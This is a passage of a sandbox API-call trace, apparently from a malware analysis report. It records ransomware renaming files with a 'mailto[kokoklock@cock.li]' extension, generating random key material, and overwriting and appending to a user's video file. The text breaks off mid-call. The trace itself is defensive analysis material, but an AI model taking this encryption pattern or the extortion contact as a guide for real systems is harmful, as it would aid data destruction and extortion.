(lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.771] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055ee0) returned 1 [0172.771] RtlExitUserThread (Status=0x0) Thread: id = 2064 os_tid = 0x1128 [0172.774] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-br.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.775] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.775] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-br.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.775] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.775] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056050) returned 1 [0172.775] RtlExitUserThread (Status=0x0) Thread: id = 2065 os_tid = 0x112c [0172.776] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-pt.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.780] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.780] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-pt.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.780] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-pt.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.780] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056558) returned 1 [0172.780] RtlExitUserThread (Status=0x0) Thread: id = 2066 os_tid = 0x1130 [0172.783] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ro-ro.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.784] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.784] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ro-ro.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.784] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ro-ro.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.784] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056108) returned 1 [0172.784] RtlExitUserThread (Status=0x0) Thread: id = 2067 os_tid = 0x1134 [0172.800] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ru-ru.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.801] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.801] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_ru-ru.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.801] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.801] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056278) returned 1 [0172.801] RtlExitUserThread (Status=0x0) Thread: id = 2068 os_tid = 0x1138 [0172.802] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sk-sk.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.802] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.803] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sk-sk.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.803] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.803] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056330) returned 1 [0172.803] RtlExitUserThread (Status=0x0) Thread: id = 2069 os_tid = 0x113c [0172.804] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sl-si.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.804] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.804] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sl-si.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.804] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.804] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30563e8) returned 1 [0172.804] RtlExitUserThread (Status=0x0) Thread: id = 2070 os_tid = 0x1140 [0172.807] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sr-latn-cs.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.808] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.808] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sr-latn-cs.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.808] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.808] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9f030) returned 1 [0172.808] RtlExitUserThread (Status=0x0) Thread: id = 2071 os_tid = 0x1144 [0172.809] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sv-se.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.810] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.810] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_sv-se.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.810] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.810] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30564a0) returned 1 [0172.810] RtlExitUserThread (Status=0x0) Thread: id = 2072 os_tid = 0x1148 [0172.811] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_th-th.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.811] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.811] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_th-th.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.811] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.811] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057020) returned 1 [0172.812] RtlExitUserThread (Status=0x0) Thread: id = 2073 os_tid = 0x114c [0172.812] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_tr-tr.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.813] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.813] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_tr-tr.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.813] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.813] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3057190) returned 1 [0172.813] RtlExitUserThread (Status=0x0) Thread: id = 2074 os_tid = 0x1150 [0172.814] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_uk-ua.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.815] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.815] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_uk-ua.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.815] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.815] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056b18) returned 1 [0172.815] RtlExitUserThread (Status=0x0) Thread: id = 2075 os_tid = 0x1154 [0172.818] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-cn.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.824] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.825] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-cn.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.825] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.825] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056f68) returned 1 [0172.825] RtlExitUserThread (Status=0x0) Thread: id = 2076 os_tid = 0x1158 [0172.826] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-hk.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.826] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.826] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-hk.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.826] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.826] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056bd0) returned 1 [0172.826] RtlExitUserThread (Status=0x0) Thread: id = 2077 os_tid = 0x115c [0172.827] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-tw.htm.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.828] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.828] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_zh-tw.htm.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0172.828] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.828] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3056c88) returned 1 [0172.828] RtlExitUserThread (Status=0x0) Thread: id = 2078 os_tid = 0x1160 [0172.830] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\385InGGp6-.mkv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\385inggp6-.mkv.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.830] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\385InGGp6-.mkv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.830] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ORoHpPjcmz\\385InGGp6-.mkv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\orohppjcmz\\385inggp6-.mkv.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0172.831] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x17effa00 | out: lpFileSize=0x17effa00*=27109) returned 1 [0172.831] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x69e1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.831] ReadFile (in: hFile=0x584, lpBuffer=0x17eff9d4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x17eff9d0, lpOverlapped=0x0 | out: lpBuffer=0x17eff9d4*, lpNumberOfBytesRead=0x17eff9d0*=0x4, lpOverlapped=0x0) returned 1 [0172.831] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.831] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582a0 [0172.832] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582c8 [0172.832] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058318 [0172.832] NtQuerySystemTime (in: CurrentTime=0x17eff9ac | out: CurrentTime=0x17eff9ac*=132121213301545893) returned 0x0 [0172.832] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0x299309a2 [0172.832] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0x102bd9e7 [0172.832] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0x2671d4ab [0172.832] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0xa13fbb2d [0172.832] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0x9b8cad78 [0172.832] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0x7256f35f [0172.832] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0x73f2e407 [0172.832] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0x97b0f604 [0172.832] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0xcb3c1da [0172.832] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0x5372f8e5 [0172.832] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0x113c1026 [0172.832] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0x7b99ea04 [0172.832] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0xa6da40f2 [0172.832] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0x5dbde8f2 [0172.832] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0xfd91a8f9 [0172.832] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0xce2d07c6 [0172.832] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0x5f784c5f [0172.832] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0xfc750742 [0172.832] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0x1734d324 [0172.832] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0xea383d8e [0172.832] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0xf404fe38 [0172.832] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0xbcb7f2ab [0172.832] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0xf4c57eff [0172.832] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0xabd77eda [0172.832] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0x14fec958 [0172.832] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0x4ef89016 [0172.832] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0xe79311f3 [0172.832] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0xabcfc71d [0172.832] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0x8a6b1bcc [0172.833] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0x879ebc90 [0172.833] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0x10c4f94 [0172.833] RtlRandom (in: Seed=0x17eff9b8 | out: Seed=0x17eff9b8) returned 0x2a94ba4f [0172.842] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058430 [0172.843] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0172.843] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30580c0 [0172.844] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0172.844] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582a0) returned 1 [0172.844] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.845] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.845] ReadFile (in: hFile=0x584, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x17eff984, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x17eff984*=0x4096, lpOverlapped=0x0) returned 1 [0172.845] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.845] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0172.845] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.845] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582a0 [0172.845] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582a0) returned 1 [0172.846] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.847] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30582a0 [0172.847] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058160 [0172.847] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058160) returned 1 [0172.847] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.847] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0172.847] WriteFile (in: hFile=0x584, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x17eff984, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x17eff984*=0x4096, lpOverlapped=0x0) returned 1 [0172.848] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.848] SetFilePointerEx (in: hFile=0x584, liDistanceToMove=0x69e5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.848] WriteFile (in: hFile=0x584, lpBuffer=0x30582a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x17eff9bc, lpOverlapped=0x0 | out: lpBuffer=0x30582a0*, lpNumberOfBytesWritten=0x17eff9bc*=0x20, lpOverlapped=0x0) returned 1 [0172.849] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30582a0) returned 1 [0172.849] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.849] WriteFile (in: hFile=0x584, lpBuffer=0x30580c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x17eff9d0, lpOverlapped=0x0 | out: lpBuffer=0x30580c0*, lpNumberOfBytesWritten=0x17eff9d0*=0x8, lpOverlapped=0x0) returned 1 [0172.849] WriteFile (in: hFile=0x584, lpBuffer=0x17eff9e8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x17eff9d0, lpOverlapped=0x0 | out: lpBuffer=0x17eff9e8*, lpNumberOfBytesWritten=0x17eff9d0*=0x4, lpOverlapped=0x0) returned 1 [0172.849] WriteFile (in: hFile=0x584, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, 